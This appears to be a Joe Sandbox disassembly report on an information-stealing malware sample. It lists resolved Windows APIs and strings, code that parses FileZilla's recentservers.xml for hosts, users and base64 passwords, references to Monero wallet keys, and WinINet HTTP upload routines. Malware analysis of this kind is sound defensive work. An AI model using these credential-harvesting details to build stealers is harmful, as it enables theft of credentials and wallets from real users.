Opcode Fuzzy Hash: 7d3428b8720c3febc7ac56ab1218fb8147fffa5d949a6aece627c7e380463a79
Instruction Fuzzy Hash: 44F096F2914248EBCB14CF89EC45FAAB7BCF748714F40466AF50592280D7B96904CBD0

Function 007D95E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,012C5B70), ref: 007D95FD
GetProcAddress.KERNEL32(74DD0000,012C5C50), ref: 007D9615
GetProcAddress.KERNEL32(74DD0000,012D9670), ref: 007D962E
GetProcAddress.KERNEL32(74DD0000,012D9628), ref: 007D9646
GetProcAddress.KERNEL32(74DD0000,012D9658), ref: 007D965E
GetProcAddress.KERNEL32(74DD0000,012D96A0), ref: 007D9677
GetProcAddress.KERNEL32(74DD0000,012CB888), ref: 007D968F
GetProcAddress.KERNEL32(74DD0000,012DCF60), ref: 007D96A7
GetProcAddress.KERNEL32(74DD0000,012DCFC0), ref: 007D96C0
GetProcAddress.KERNEL32(74DD0000,012DCF00), ref: 007D96D8
GetProcAddress.KERNEL32(74DD0000,012DD0C8), ref: 007D96F0
GetProcAddress.KERNEL32(74DD0000,012C5C10), ref: 007D9709
GetProcAddress.KERNEL32(74DD0000,012C5C90), ref: 007D9721
GetProcAddress.KERNEL32(74DD0000,012C5CD0), ref: 007D9739
GetProcAddress.KERNEL32(74DD0000,012C5D30), ref: 007D9752
GetProcAddress.KERNEL32(74DD0000,012DCEA0), ref: 007D976A
GetProcAddress.KERNEL32(74DD0000,012DCFF0), ref: 007D9782
GetProcAddress.KERNEL32(74DD0000,012CB7E8), ref: 007D979B
GetProcAddress.KERNEL32(74DD0000,012C5E30), ref: 007D97B3
GetProcAddress.KERNEL32(74DD0000,012DCFD8), ref: 007D97CB
GetProcAddress.KERNEL32(74DD0000,012DD050), ref: 007D97E4
GetProcAddress.KERNEL32(74DD0000,012DD068), ref: 007D97FC
GetProcAddress.KERNEL32(74DD0000,012DD008), ref: 007D9814
GetProcAddress.KERNEL32(74DD0000,012C5D50), ref: 007D982D
GetProcAddress.KERNEL32(74DD0000,012DCFA8), ref: 007D9845
GetProcAddress.KERNEL32(74DD0000,012DD038), ref: 007D985D
GetProcAddress.KERNEL32(74DD0000,012DCF78), ref: 007D9876
GetProcAddress.KERNEL32(74DD0000,012DCE40), ref: 007D988E
GetProcAddress.KERNEL32(74DD0000,012DCE58), ref: 007D98A6
GetProcAddress.KERNEL32(74DD0000,012DCF18), ref: 007D98BF
GetProcAddress.KERNEL32(74DD0000,012DCE10), ref: 007D98D7
GetProcAddress.KERNEL32(74DD0000,012DCDF8), ref: 007D98EF
GetProcAddress.KERNEL32(74DD0000,012DCF48), ref: 007D9908
GetProcAddress.KERNEL32(74DD0000,012DA720), ref: 007D9920
GetProcAddress.KERNEL32(74DD0000,012DD098), ref: 007D9938
GetProcAddress.KERNEL32(74DD0000,012DD020), ref: 007D9951
GetProcAddress.KERNEL32(74DD0000,012C5E10), ref: 007D9969
GetProcAddress.KERNEL32(74DD0000,012DCE28), ref: 007D9981
GetProcAddress.KERNEL32(74DD0000,012C5950), ref: 007D999A
GetProcAddress.KERNEL32(74DD0000,012DCE88), ref: 007D99B2
GetProcAddress.KERNEL32(74DD0000,012DCF90), ref: 007D99CA
GetProcAddress.KERNEL32(74DD0000,012C56B0), ref: 007D99E3
GetProcAddress.KERNEL32(74DD0000,012C5A10), ref: 007D99FB
LoadLibraryA.KERNEL32(012DCF30,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A0D
LoadLibraryA.KERNEL32(012DD080,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A1E
LoadLibraryA.KERNEL32(012DCEB8,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A30
LoadLibraryA.KERNEL32(012DD0B0,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A42
LoadLibraryA.KERNEL32(012DD0E0,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A53
LoadLibraryA.KERNEL32(012DCE70,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A65
LoadLibraryA.KERNEL32(012DCED0,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A77
LoadLibraryA.KERNEL32(012DCEE8,?,007D5783,007E0AD2,?,?,?,?,?,?,?,?,?,?,007E0ACF,007E0ACE), ref: 007D9A88
GetProcAddress.KERNEL32(75290000,012C5730), ref: 007D9AAA
GetProcAddress.KERNEL32(75290000,012DD350), ref: 007D9AC2
GetProcAddress.KERNEL32(75290000,012D9288), ref: 007D9ADA
GetProcAddress.KERNEL32(75290000,012DD200), ref: 007D9AF3
GetProcAddress.KERNEL32(75290000,012C59F0), ref: 007D9B0B
GetProcAddress.KERNEL32(734C0000,012CB6D0), ref: 007D9B30
GetProcAddress.KERNEL32(734C0000,012C57F0), ref: 007D9B49
GetProcAddress.KERNEL32(734C0000,012CB608), ref: 007D9B61
GetProcAddress.KERNEL32(734C0000,012DD128), ref: 007D9B79
GetProcAddress.KERNEL32(734C0000,012DD170), ref: 007D9B92
GetProcAddress.KERNEL32(734C0000,012C5850), ref: 007D9BAA
GetProcAddress.KERNEL32(734C0000,012C5A30), ref: 007D9BC2
GetProcAddress.KERNEL32(734C0000,012DD218), ref: 007D9BDB
GetProcAddress.KERNEL32(752C0000,012C5790), ref: 007D9BFC
GetProcAddress.KERNEL32(752C0000,012C57D0), ref: 007D9C14
GetProcAddress.KERNEL32(752C0000,012DD188), ref: 007D9C2D
GetProcAddress.KERNEL32(752C0000,012DD368), ref: 007D9C45
GetProcAddress.KERNEL32(752C0000,012C5810), ref: 007D9C5D
GetProcAddress.KERNEL32(74EC0000,012CB9A0), ref: 007D9C83
GetProcAddress.KERNEL32(74EC0000,012CB810), ref: 007D9C9B
GetProcAddress.KERNEL32(74EC0000,012DD230), ref: 007D9CB3
GetProcAddress.KERNEL32(74EC0000,012C58D0), ref: 007D9CCC
GetProcAddress.KERNEL32(74EC0000,012C5A90), ref: 007D9CE4
GetProcAddress.KERNEL32(74EC0000,012CB9F0), ref: 007D9CFC
GetProcAddress.KERNEL32(75BD0000,012DD2D8), ref: 007D9D22
GetProcAddress.KERNEL32(75BD0000,012C56D0), ref: 007D9D3A
GetProcAddress.KERNEL32(75BD0000,012D9168), ref: 007D9D52
GetProcAddress.KERNEL32(75BD0000,012DD3E0), ref: 007D9D6B
GetProcAddress.KERNEL32(75BD0000,012DD380), ref: 007D9D83
GetProcAddress.KERNEL32(75BD0000,012C5890), ref: 007D9D9B
GetProcAddress.KERNEL32(75BD0000,012C56F0), ref: 007D9DB4
GetProcAddress.KERNEL32(75BD0000,012DD290), ref: 007D9DCC
GetProcAddress.KERNEL32(75BD0000,012DD2F0), ref: 007D9DE4
GetProcAddress.KERNEL32(75A70000,012C5A50), ref: 007D9E06
GetProcAddress.KERNEL32(75A70000,012DD398), ref: 007D9E1E
GetProcAddress.KERNEL32(75A70000,012DD248), ref: 007D9E36
GetProcAddress.KERNEL32(75A70000,012DD110), ref: 007D9E4F
GetProcAddress.KERNEL32(75A70000,012DD1A0), ref: 007D9E67
GetProcAddress.KERNEL32(75450000,012C58F0), ref: 007D9E88
GetProcAddress.KERNEL32(75450000,012C5A70), ref: 007D9EA1
GetProcAddress.KERNEL32(75DA0000,012C5710), ref: 007D9EC2
GetProcAddress.KERNEL32(75DA0000,012DD3C8), ref: 007D9EDA
GetProcAddress.KERNEL32(6F090000,012C5970), ref: 007D9F00
GetProcAddress.KERNEL32(6F090000,012C5910), ref: 007D9F18
GetProcAddress.KERNEL32(6F090000,012C5930), ref: 007D9F30
GetProcAddress.KERNEL32(6F090000,012DD140), ref: 007D9F49
GetProcAddress.KERNEL32(6F090000,012C5990), ref: 007D9F61
GetProcAddress.KERNEL32(6F090000,012C5750), ref: 007D9F79
GetProcAddress.KERNEL32(6F090000,012C5770), ref: 007D9F92
GetProcAddress.KERNEL32(6F090000,012C59B0), ref: 007D9FAA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 007D9FC1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 007D9FD7
GetProcAddress.KERNEL32(75AF0000,012DD260), ref: 007D9FF9
GetProcAddress.KERNEL32(75AF0000,012D9228), ref: 007DA011
GetProcAddress.KERNEL32(75AF0000,012DD308), ref: 007DA029
GetProcAddress.KERNEL32(75AF0000,012DD320), ref: 007DA042
GetProcAddress.KERNEL32(75D90000,012C5830), ref: 007DA063
GetProcAddress.KERNEL32(6CF90000,012DD278), ref: 007DA084
GetProcAddress.KERNEL32(6CF90000,012C59D0), ref: 007DA09D
GetProcAddress.KERNEL32(6CF90000,012DD2A8), ref: 007DA0B5
GetProcAddress.KERNEL32(6CF90000,012DD338), ref: 007DA0CD

Strings

InternetSetOptionA, xrefs: 007D9FB5
HttpQueryInfoA, xrefs: 007D9FCC

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: f01222e1f1f2ad92999db7d8d4d62ce6af73fcce0cced3d3efff54ac69351c38
Instruction ID: a4844a90b39c41235fe6985ce6d30fceb12a9f1fadfd0ea241479ff85c49ebb5
Opcode Fuzzy Hash: f01222e1f1f2ad92999db7d8d4d62ce6af73fcce0cced3d3efff54ac69351c38
Instruction Fuzzy Hash: F56290F5539280EFC744DFA8ECC8E1A3BBAB74C251714891AE599CB264D7359C02FB60

Function 007C7750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 007C7764
RtlAllocateHeap.NTDLL(00000000), ref: 007C776B
lstrcat.KERNEL32(?,012D9C80), ref: 007C791B
lstrcat.KERNEL32(?,?), ref: 007C792F
lstrcat.KERNEL32(?,?), ref: 007C7943
lstrcat.KERNEL32(?,?), ref: 007C7957
lstrcat.KERNEL32(?,012DE0C8), ref: 007C796B
lstrcat.KERNEL32(?,012DDED0), ref: 007C797F
lstrcat.KERNEL32(?,012DDF60), ref: 007C7992
lstrcat.KERNEL32(?,012DDF90), ref: 007C79A6
lstrcat.KERNEL32(?,012D9D08), ref: 007C79BA
lstrcat.KERNEL32(?,?), ref: 007C79CE
lstrcat.KERNEL32(?,?), ref: 007C79E2
lstrcat.KERNEL32(?,?), ref: 007C79F6
lstrcat.KERNEL32(?,012DE0C8), ref: 007C7A09
lstrcat.KERNEL32(?,012DDED0), ref: 007C7A1D
lstrcat.KERNEL32(?,012DDF60), ref: 007C7A31
lstrcat.KERNEL32(?,012DDF90), ref: 007C7A44
lstrcat.KERNEL32(?,012D9D70), ref: 007C7A58
lstrcat.KERNEL32(?,?), ref: 007C7A6C
lstrcat.KERNEL32(?,?), ref: 007C7A80
lstrcat.KERNEL32(?,?), ref: 007C7A94
lstrcat.KERNEL32(?,012DE0C8), ref: 007C7AA8
lstrcat.KERNEL32(?,012DDED0), ref: 007C7ABB
lstrcat.KERNEL32(?,012DDF60), ref: 007C7ACF
lstrcat.KERNEL32(?,012DDF90), ref: 007C7AE3
lstrcat.KERNEL32(?,012D9DD8), ref: 007C7AF6
lstrcat.KERNEL32(?,?), ref: 007C7B0A
lstrcat.KERNEL32(?,?), ref: 007C7B1E
lstrcat.KERNEL32(?,?), ref: 007C7B32
lstrcat.KERNEL32(?,012DE0C8), ref: 007C7B46
lstrcat.KERNEL32(?,012DDED0), ref: 007C7B5A
lstrcat.KERNEL32(?,012DDF60), ref: 007C7B6D
lstrcat.KERNEL32(?,012DDF90), ref: 007C7B81
lstrcat.KERNEL32(?,012DE648), ref: 007C7B95
lstrcat.KERNEL32(?,?), ref: 007C7BA9
lstrcat.KERNEL32(?,?), ref: 007C7BBD
lstrcat.KERNEL32(?,?), ref: 007C7BD1
lstrcat.KERNEL32(?,012DE0C8), ref: 007C7BE4
lstrcat.KERNEL32(?,012DDED0), ref: 007C7BF8
lstrcat.KERNEL32(?,012DDF60), ref: 007C7C0C
lstrcat.KERNEL32(?,012DDF90), ref: 007C7C1F
lstrcat.KERNEL32(?,012DE6B0), ref: 007C7C33
lstrcat.KERNEL32(?,?), ref: 007C7C47
lstrcat.KERNEL32(?,?), ref: 007C7C5B
lstrcat.KERNEL32(?,?), ref: 007C7C6F
lstrcat.KERNEL32(?,012DE0C8), ref: 007C7C83
lstrcat.KERNEL32(?,012DDED0), ref: 007C7C96
lstrcat.KERNEL32(?,012DDF60), ref: 007C7CAA
lstrcat.KERNEL32(?,012DDF90), ref: 007C7CBE

Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020,007E17A0), ref: 007C7646
Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020,00000000), ref: 007C7688
Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020, : ), ref: 007C769A
Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020,00000000), ref: 007C76CF
Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020,007E17A8), ref: 007C76E0
Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020,00000000), ref: 007C7713
Part of subcall function 007C7610: lstrcat.KERNEL32(2FB60020,007E17AC), ref: 007C772D
Part of subcall function 007C7610: task.LIBCPMTD ref: 007C773B

lstrcat.KERNEL32(?,012DE928), ref: 007C7E4B
lstrcat.KERNEL32(?,012DD9E0), ref: 007C7E5E
lstrlen.KERNEL32(2FB60020), ref: 007C7E6B
lstrlen.KERNEL32(2FB60020), ref: 007C7E7B

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 1b08b2a3309b6a9462b236d4658194dc4eb6d2fd0605c539b22543d895bbf93d
Instruction ID: e4607333009f7beee8961a8b8820c9ee06c9e2444a1296c2ceecb84450e55d98
Opcode Fuzzy Hash: 1b08b2a3309b6a9462b236d4658194dc4eb6d2fd0605c539b22543d895bbf93d
Instruction Fuzzy Hash: 723283B2814354EBCB54EBA0DCC9DDE733CAB48301F444A89F21966180DE79EB85DF65

Function 007D0090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007D8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007C9A3C
Part of subcall function 007C9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007C9A61
Part of subcall function 007C9A10: LocalAlloc.KERNEL32(00000040,?), ref: 007C9A81
Part of subcall function 007C9A10: ReadFile.KERNEL32(000000FF,?,00000000,007C148F,00000000), ref: 007C9AAA
Part of subcall function 007C9A10: LocalFree.KERNEL32(007C148F), ref: 007C9AE0
Part of subcall function 007C9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 007C9AEA

Part of subcall function 007D88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007D88F2

GetProcessHeap.KERNEL32(00000000,000F423F,007E0DA6,007E0DA3,007E0DA2,007E0D9F), ref: 007D01A2
RtlAllocateHeap.NTDLL(00000000), ref: 007D01A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 007D01C5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D01D3
StrStrA.SHLWAPI(00000000,<Port>), ref: 007D020F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D021D
StrStrA.SHLWAPI(00000000,<User>), ref: 007D0259
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D0267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 007D02A3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D02B5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D0342
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D035A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D0372
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 007D03A2
lstrcat.KERNEL32(?,profile: null), ref: 007D03B1
lstrcat.KERNEL32(?,url: ), ref: 007D03C0
lstrcat.KERNEL32(?,00000000), ref: 007D03D3
lstrcat.KERNEL32(?,007E161C), ref: 007D03E2
lstrcat.KERNEL32(?,00000000), ref: 007D03F5
lstrcat.KERNEL32(?,007E1620), ref: 007D0404
lstrcat.KERNEL32(?,login: ), ref: 007D0413
lstrcat.KERNEL32(?,00000000), ref: 007D0426
lstrcat.KERNEL32(?,007E162C), ref: 007D0435
lstrcat.KERNEL32(?,password: ), ref: 007D0444
lstrcat.KERNEL32(?,00000000), ref: 007D0457
lstrcat.KERNEL32(?,007E163C), ref: 007D0466
lstrcat.KERNEL32(?,007E1640), ref: 007D0475
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007E0D9E), ref: 007D04CE

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 007D00E4
password: , xrefs: 007D043B
<Pass encoding="base64">, xrefs: 007D029A
profile: null, xrefs: 007D03A8
url: , xrefs: 007D03B7
<User>, xrefs: 007D0250
<Port>, xrefs: 007D0206
login: , xrefs: 007D040A
browser: FileZilla, xrefs: 007D0399
<Host>, xrefs: 007D01BC

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateChangeCloseCreateFindFolderFreeNotificationPathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2695953057-555421843
Opcode ID: c338c2fc1b19e6b8a3cceb428104b9b60a9338a30e1ae5077f24275afb7b5baa
Instruction ID: 2116c24b13c6bba0cdc0c5ff9079ac1eadc96df29ab466461dc27d56ce8ba4ca
Opcode Fuzzy Hash: c338c2fc1b19e6b8a3cceb428104b9b60a9338a30e1ae5077f24275afb7b5baa
Instruction Fuzzy Hash: 53D164B2910149EBCB04EBF4DD9AEEE7738BF58300F448419F102A7295DF79AA45CB61

Function 007C5150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C483B
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4852
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4868
Part of subcall function 007C4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007C4889
Part of subcall function 007C4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 007C4899

lstrlen.KERNEL32(00000000), ref: 007C51E3

Part of subcall function 007D8940: CryptBinaryToStringA.CRYPT32(00000000,007C51D4,40000001,00000000,00000000), ref: 007D8960

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007C5257
StrCmpCA.SHLWAPI(?,012DE818), ref: 007C5275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007C5390
HttpOpenRequestA.WININET(00000000,012DE7C8,?,012DE170,00000000,00000000,00400100,00000000), ref: 007C53F4

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,012DE7F8,00000000,?,012DA750,00000000,?,007E1980,00000000,?,007D4CAF), ref: 007C5787
lstrlen.KERNEL32(00000000), ref: 007C579B
GetProcessHeap.KERNEL32(00000000,?), ref: 007C57AC
RtlAllocateHeap.NTDLL(00000000), ref: 007C57B3
lstrlen.KERNEL32(00000000), ref: 007C57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007C57F9
lstrlen.KERNEL32(00000000), ref: 007C5818
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007C5831
